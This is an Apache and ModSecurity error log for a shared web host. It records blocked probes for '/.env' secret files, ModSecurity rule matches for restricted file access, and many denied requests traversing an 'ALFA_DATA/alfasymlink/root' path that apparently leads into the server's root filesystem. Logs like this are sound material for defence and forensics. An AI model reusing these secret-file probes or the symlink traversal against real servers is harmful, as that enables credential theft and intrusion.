[Tue Oct 27 03:26:06.230142 2026] [security2:error] [pid 3194254:tid 3194254] [client 130.12.180.164:34422] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env"] [unique_id "auBSDhsMrQZ-lBI87Ul1dQAAAAU"]
[Tue Oct 27 03:26:06.230357 2026] [security2:error] [pid 3194254:tid 3194254] [client 130.12.180.164:34422] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env"] [unique_id "auBSDhsMrQZ-lBI87Ul1dQAAAAU"]
[Tue Oct 27 03:26:06.230659 2026] [security2:error] [pid 3194254:tid 3194254] [client 130.12.180.164:34422] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env"] [unique_id "auBSDhsMrQZ-lBI87Ul1dQAAAAU"]
[Tue Oct 27 03:26:07.560395 2026] [core:error] [pid 3184575:tid 3184575] (13)Permission denied: [client 52.70.209.13:51650] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory8/node0/memory5/node0/memory6/subsystem/uevent
[Tue Oct 27 03:26:08.602968 2026] [core:error] [pid 3184472:tid 3184472] (13)Permission denied: [client 85.208.96.210:19914] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bfq_queue/hwcache_align
[Tue Oct 27 03:26:15.777461 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 52.6.97.88:16819] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:26:23.723801 2026] [ssl:error] [pid 3174426:tid 3174426] (70014)End of file found: [client 54.84.102.81:26308] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:26:27.719704 2026] [core:error] [pid 3194328:tid 3194328] (13)Permission denied: [client 98.82.39.241:42250] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/pci_bus/0000:00/device/firmware_node/device:0b/eject
[Tue Oct 27 03:26:39.885942 2026] [ssl:error] [pid 3194351:tid 3194351] (70014)End of file found: [client 34.234.200.207:42922] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:26:47.922572 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 44.215.210.112:11095] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:27:07.948535 2026] [ssl:error] [pid 3194327:tid 3194327] (70014)End of file found: [client 107.20.224.184:2884] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:27:10.655285 2026] [security2:error] [pid 3184575:tid 3184575] [client 129.226.193.111:41024] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/casarin1/"] [unique_id "auBSTnCsn1NVv0VfikkF9AAAAAQ"]
[Tue Oct 27 03:27:15.802301 2026] [ssl:error] [pid 3184471:tid 3184471] (70014)End of file found: [client 18.214.124.6:60429] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:27:20.083280 2026] [ssl:error] [pid 3194344:tid 3194344] (70014)End of file found: [client 52.45.92.83:39771] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:27:31.806683 2026] [core:error] [pid 3194327:tid 3194327] (13)Permission denied: [client 23.21.175.228:40051] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:06/physical_node/driver/module/drivers/pci:virtio-pci/new_id
[Tue Oct 27 03:27:35.796569 2026] [ssl:error] [pid 3194328:tid 3194328] (70014)End of file found: [client 34.239.197.197:36534] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:27:39.776590 2026] [core:error] [pid 3174426:tid 3174426] (13)Permission denied: [client 44.210.204.255:29130] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/tty5/subsystem/tty14/subsystem/ttyS1/closing_wait
[Tue Oct 27 03:27:43.751584 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 3.212.86.97:55840] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:27:47.976697 2026] [ssl:error] [pid 3184472:tid 3184472] (70014)End of file found: [client 3.229.2.217:30844] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:27:52.076439 2026] [ssl:error] [pid 3184471:tid 3184471] (70014)End of file found: [client 54.152.163.42:25433] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:27:55.913014 2026] [ssl:error] [pid 3194344:tid 3194344] (70014)End of file found: [client 3.232.102.111:42955] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:27:59.853451 2026] [ssl:error] [pid 3194351:tid 3194351] (70014)End of file found: [client 54.225.98.148:10930] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:28:11.794161 2026] [ssl:error] [pid 3174426:tid 3174426] (70014)End of file found: [client 54.225.199.17:60735] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:28:19.901514 2026] [ssl:error] [pid 3184472:tid 3184472] (70014)End of file found: [client 52.54.95.127:44924] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:28:31.924914 2026] [ssl:error] [pid 3194351:tid 3194351] (70014)End of file found: [client 54.88.84.219:39169] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:28:36.324272 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 52.4.76.156:26542] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:28:39.933593 2026] [ssl:error] [pid 3174426:tid 3174426] (70014)End of file found: [client 54.88.84.219:44990] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:28:51.866978 2026] [ssl:error] [pid 3184472:tid 3184472] (70014)End of file found: [client 54.152.163.42:5407] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:28:55.858687 2026] [ssl:error] [pid 3184471:tid 3184471] (70014)End of file found: [client 52.45.15.233:41175] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:28:58.437050 2026] [core:error] [pid 3194351:tid 3194351] (13)Permission denied: [client 85.208.96.209:26442] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/hugetlbfs_inode_cache/ctor
[Tue Oct 27 03:28:59.792292 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 52.205.141.124:3659] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:29:11.867621 2026] [core:error] [pid 3184575:tid 3184575] (13)Permission denied: [client 52.45.77.169:22742] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory2/subsystem/devices/memory5/node0/cpu1/crash_notes
[Tue Oct 27 03:29:19.830351 2026] [ssl:error] [pid 3184471:tid 3184471] (70014)End of file found: [client 44.207.252.58:8478] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:29:23.712388 2026] [ssl:error] [pid 3194344:tid 3194344] (70014)End of file found: [client 3.90.73.206:2453] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:29:27.704190 2026] [ssl:error] [pid 3194351:tid 3194351] (5)Input/output error: [client 98.83.177.42:33158] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:29:31.813296 2026] [core:error] [pid 3175284:tid 3175284] (13)Permission denied: [client 34.234.197.175:62956] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/ttyS1/device/tty/ttyS2/uartclk
[Tue Oct 27 03:29:36.056155 2026] [ssl:error] [pid 3194328:tid 3194328] (70014)End of file found: [client 50.16.248.61:5835] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:30:03.698209 2026] [core:error] [pid 3194328:tid 3194328] (13)Permission denied: [client 185.191.171.8:23086] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-64/free_calls
[Tue Oct 27 03:30:03.881732 2026] [ssl:error] [pid 3194327:tid 3194327] (70014)End of file found: [client 34.230.124.21:11640] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:30:23.835089 2026] [ssl:error] [pid 3194344:tid 3194344] (70014)End of file found: [client 52.3.104.214:11689] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:30:27.774587 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 52.5.232.250:53158] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:30:31.798861 2026] [ssl:error] [pid 3194327:tid 3194327] (70014)End of file found: [client 54.145.82.217:51616] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:30:35.752411 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 52.2.58.41:15524] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:30:59.790172 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 98.83.226.125:44431] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:31:03.869517 2026] [ssl:error] [pid 3184472:tid 3184472] (70014)End of file found: [client 54.235.172.96:48208] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:31:15.762856 2026] [ssl:error] [pid 3194351:tid 3194351] (70014)End of file found: [client 3.217.171.106:14054] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:31:27.939017 2026] [core:error] [pid 3174426:tid 3174426] (13)Permission denied: [client 44.196.118.6:31596] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory2/node0/memory1/node0/cpu0/driver/uevent
[Tue Oct 27 03:31:43.704125 2026] [ssl:error] [pid 3194344:tid 3194344] (70014)End of file found: [client 34.231.118.144:39208] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:31:48.119356 2026] [ssl:error] [pid 3194351:tid 3194351] (70014)End of file found: [client 52.45.92.83:15911] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:31:51.911412 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 3.215.59.93:31541] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:31:55.847397 2026] [ssl:error] [pid 3194328:tid 3194328] (70014)End of file found: [client 23.21.148.226:14231] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:32:11.775854 2026] [ssl:error] [pid 3194344:tid 3194344] (70014)End of file found: [client 3.226.106.93:23557] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:32:15.689288 2026] [ssl:error] [pid 3194328:tid 3194328] (70014)End of file found: [client 18.208.11.93:17613] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:32:19.708253 2026] [ssl:error] [pid 3194351:tid 3194351] (70014)End of file found: [client 44.221.105.234:5878] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:32:23.946850 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 54.221.203.24:31715] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:32:35.818487 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 35.174.141.243:10344] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:32:46.417753 2026] [security2:error] [pid 3194328:tid 3194328] [client 43.164.133.138:46662] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "64.20.54.226"] [uri "/"] [unique_id "auBTnssFEw8TBOSK6W-mQQAAAAk"]
[Tue Oct 27 03:32:46.418911 2026] [authz_core:error] [pid 3194328:tid 3194328] [client 43.164.133.138:46662] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 03:32:59.755461 2026] [ssl:error] [pid 3194344:tid 3194344] (70014)End of file found: [client 44.205.192.249:51104] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:33:12.419242 2026] [core:error] [pid 3184472:tid 3184472] (13)Permission denied: [client 85.208.96.199:64838] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/firmware/qemu_fw_cfg/by_key/43/size
[Tue Oct 27 03:33:15.991646 2026] [ssl:error] [pid 3174426:tid 3174426] (70014)End of file found: [client 44.223.232.55:50645] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:33:20.133341 2026] [ssl:error] [pid 3194328:tid 3194328] (70014)End of file found: [client 184.73.195.18:2088] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:33:23.822044 2026] [ssl:error] [pid 3194351:tid 3194351] (70014)End of file found: [client 52.207.47.227:59942] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:33:52.028073 2026] [core:error] [pid 3194254:tid 3194254] (13)Permission denied: [client 3.215.59.93:31705] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/tty/tty21/subsystem/tty0/subsystem/ttyS3/port
[Tue Oct 27 03:33:55.707486 2026] [ssl:error] [pid 3194344:tid 3194344] (70014)End of file found: [client 34.194.95.99:38536] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:33:59.847794 2026] [ssl:error] [pid 3194351:tid 3194351] (70014)End of file found: [client 52.3.156.186:31185] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:34:08.079773 2026] [ssl:error] [pid 3184472:tid 3184472] (70014)End of file found: [client 54.83.240.58:27971] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:34:28.375664 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 34.225.138.57:32088] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:34:55.339356 2026] [ssl:error] [pid 3184472:tid 3184472] (70014)End of file found: [client 44.210.204.255:21748] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:35:04.917623 2026] [core:error] [pid 3194328:tid 3194328] (13)Permission denied: [client 85.208.96.206:22186] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kernfs_iattrs_cache/objects
[Tue Oct 27 03:35:09.456261 2026] [core:error] [pid 3194344:tid 3194344] (13)Permission denied: [client 85.208.96.210:49784] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-192/slabs_cpu_partial
[Tue Oct 27 03:35:15.263126 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 52.204.89.12:37731] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:35:27.243473 2026] [ssl:error] [pid 3174426:tid 3174426] (70014)End of file found: [client 52.45.194.165:42260] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:35:35.273514 2026] [ssl:error] [pid 3194254:tid 3194254] (70014)End of file found: [client 23.22.59.87:50832] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:35:43.090683 2026] [ssl:error] [pid 3194351:tid 3194351] (70014)End of file found: [client 44.195.145.102:35771] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:35:47.586893 2026] [core:error] [pid 3194327:tid 3194327] (13)Permission denied: [client 85.208.96.209:44418] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bfq_queue/objs_per_slab
[Tue Oct 27 03:35:51.090180 2026] [ssl:error] [pid 3184472:tid 3184472] (70014)End of file found: [client 3.213.106.226:34048] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:35:58.999854 2026] [ssl:error] [pid 3184471:tid 3184471] (70014)End of file found: [client 3.93.98.99:28731] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:36:06.842846 2026] [ssl:error] [pid 3194254:tid 3194254] (70014)End of file found: [client 52.45.29.57:8192] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:36:18.976375 2026] [core:error] [pid 3194327:tid 3194327] (13)Permission denied: [client 35.174.253.85:44032] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/wakeup/wakeup7/device/physical_node/0000:00:01.1/subsystem/devices/0000:00:05.0/driver/0000:00:04.0/firmware_node/physical_node/subsystem/slots/25/module/uevent
[Tue Oct 27 03:36:22.866788 2026] [ssl:error] [pid 3184472:tid 3184472] (70014)End of file found: [client 52.4.76.156:52276] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:36:29.732132 2026] [security2:error] [pid 3184471:tid 3184471] [client 43.164.0.96:34242] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/direc2/"] [unique_id "auBUfdOTO42xOmZCRV02QQAAAAE"]
[Tue Oct 27 03:36:38.709253 2026] [ssl:error] [pid 3194344:tid 3194344] (70014)End of file found: [client 44.196.118.6:59115] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:36:50.486987 2026] [ssl:error] [pid 3194327:tid 3194327] (70014)End of file found: [client 50.19.102.70:56788] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:37:14.376886 2026] [ssl:error] [pid 3194344:tid 3194344] (70014)End of file found: [client 44.214.19.8:37199] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:37:18.247313 2026] [ssl:error] [pid 3194351:tid 3194351] (5)Input/output error: [client 44.212.232.231:57016] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:37:22.427196 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 18.213.240.226:47693] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:37:25.902724 2026] [security2:error] [pid 3194327:tid 3194327] [client 130.12.180.163:29752] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "autoconfig.curso-de-ventas.com"] [uri "/.env"] [unique_id "auBUtTACgwKulg8gg2NrQgAAAAg"]
[Tue Oct 27 03:37:25.903027 2026] [security2:error] [pid 3194327:tid 3194327] [client 130.12.180.163:29752] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "autoconfig.curso-de-ventas.com"] [uri "/.env"] [unique_id "auBUtTACgwKulg8gg2NrQgAAAAg"]
[Tue Oct 27 03:37:25.972320 2026] [security2:error] [pid 3194327:tid 3194327] [client 130.12.180.163:29752] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "autoconfig.curso-de-ventas.com"] [uri "/403.shtml"] [unique_id "auBUtTACgwKulg8gg2NrQgAAAAg"]
[Tue Oct 27 03:37:26.212685 2026] [ssl:error] [pid 3184471:tid 3184471] (70014)End of file found: [client 100.29.107.38:12356] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:37:29.320834 2026] [core:error] [pid 3174426:tid 3174426] (13)Permission denied: [client 16.216.88.136:20480] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/exim_suspended_list
[Tue Oct 27 03:37:46.228428 2026] [ssl:error] [pid 3194327:tid 3194327] (70014)End of file found: [client 44.221.105.234:8099] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:37:58.381073 2026] [ssl:error] [pid 3194254:tid 3194254] (70014)End of file found: [client 52.200.251.20:27357] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:38:02.213415 2026] [ssl:error] [pid 3194344:tid 3194344] (70014)End of file found: [client 54.87.95.7:10412] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:38:04.649730 2026] [core:error] [pid 3194351:tid 3194351] (13)Permission denied: [client 185.191.171.5:29154] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UDPLITEv6/store_user
[Tue Oct 27 03:38:10.252088 2026] [ssl:error] [pid 3184472:tid 3184472] (70014)End of file found: [client 44.194.134.53:64780] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:38:16.534670 2026] [core:error] [pid 3184575:tid 3184575] (13)Permission denied: [client 185.191.171.11:63016] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bfq_io_cq/object_size
[Tue Oct 27 03:38:18.506389 2026] [ssl:error] [pid 3174426:tid 3174426] (5)Input/output error: [client 18.214.238.178:36248] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:38:22.195180 2026] [ssl:error] [pid 3194328:tid 3194328] (70014)End of file found: [client 23.21.179.120:25087] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:38:38.537874 2026] [core:error] [pid 3174426:tid 3174426] (13)Permission denied: [client 185.191.171.11:12568] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-2k/cpu_partial
[Tue Oct 27 03:38:54.197252 2026] [ssl:error] [pid 3194327:tid 3194327] (70014)End of file found: [client 44.196.118.6:48297] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:39:02.223574 2026] [ssl:error] [pid 3174426:tid 3174426] (70014)End of file found: [client 54.221.203.24:37005] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:39:10.356390 2026] [core:error] [pid 3194351:tid 3194351] (13)Permission denied: [client 3.94.40.182:56257] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory20/node0/cpu0/firmware_node/physical_node/subsystem/drivers/processor/cpu0/driver/bind
[Tue Oct 27 03:39:18.284459 2026] [ssl:error] [pid 3184472:tid 3184472] (70014)End of file found: [client 18.207.89.138:46381] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:39:30.344905 2026] [ssl:error] [pid 3194328:tid 3194328] (70014)End of file found: [client 23.23.213.182:38899] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:39:38.174075 2026] [ssl:error] [pid 3194254:tid 3194254] (70014)End of file found: [client 54.235.158.162:13177] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:39:42.398660 2026] [ssl:error] [pid 3194351:tid 3194351] (70014)End of file found: [client 23.22.105.143:1253] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:39:54.182250 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 34.234.197.175:39086] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:39:58.404780 2026] [ssl:error] [pid 3194327:tid 3194327] (5)Input/output error: [client 35.169.102.85:55707] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:40:02.246031 2026] [ssl:error] [pid 3194328:tid 3194328] (5)Input/output error: [client 3.94.157.25:16226] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:40:10.172534 2026] [ssl:error] [pid 3194351:tid 3194351] (70014)End of file found: [client 184.72.95.195:26276] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:40:12.236697 2026] [core:error] [pid 3184472:tid 3184472] (13)Permission denied: [client 85.208.96.199:23612] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/iommu_iova/slabs_cpu_partial
[Tue Oct 27 03:40:14.188673 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 54.198.33.233:63111] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:40:22.244690 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 44.206.65.8:27995] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:40:26.300702 2026] [core:error] [pid 3194254:tid 3194254] (13)Permission denied: [client 52.200.93.170:39486] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/subsystem/devices/LNXCPU:01/eject
[Tue Oct 27 03:40:34.443287 2026] [ssl:error] [pid 3194344:tid 3194344] (5)Input/output error: [client 52.71.46.142:34190] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:40:46.180981 2026] [core:error] [pid 3174426:tid 3174426] (13)Permission denied: [client 35.168.238.50:16832] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory12/node0/cpu1/node0/cpu0/subsystem/drivers_probe
[Tue Oct 27 03:40:50.184681 2026] [ssl:error] [pid 3184471:tid 3184471] (70014)End of file found: [client 18.211.148.239:5224] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:40:54.182761 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 44.205.192.249:57342] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:41:18.350601 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 3.89.176.255:11811] AH02013: coalesce failed to read from data bucket
